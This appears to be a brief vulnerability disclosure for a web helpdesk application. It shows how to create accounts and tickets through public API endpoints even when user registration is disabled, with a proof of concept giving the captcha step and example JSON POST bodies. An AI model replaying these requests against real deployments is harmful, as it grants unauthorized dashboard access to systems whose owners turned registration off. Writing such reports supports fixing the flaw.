Description

Attacker can register a user in spite of the Allow User Registration is disable by default.

Proof of Concept

1. Go to /captcha, get the captcha value and cookie.
2. Send POST request to (/api/v1/public/account/create) with the value of captcha and cookie in step 1.
   //POST HOST/api/v1/public/account/create

{
    "user": {
        "fullname": "uname",
        "email": "test@gmail.com",
        "password": "passwd"
    },
    "captcha": "captcha"
}

3. Register successfuly.

Note

Same POC with endpoint Create New Ticket(/api/v1/public/tickets/create)

{"user":{"fullname":"tpa tpa2","email":"test@gmail.com"},"ticket":{"subject":"123","issue":"123"},"captcha":"Dazr"}

Impact

Attacker can register a user and get inside the dashboard.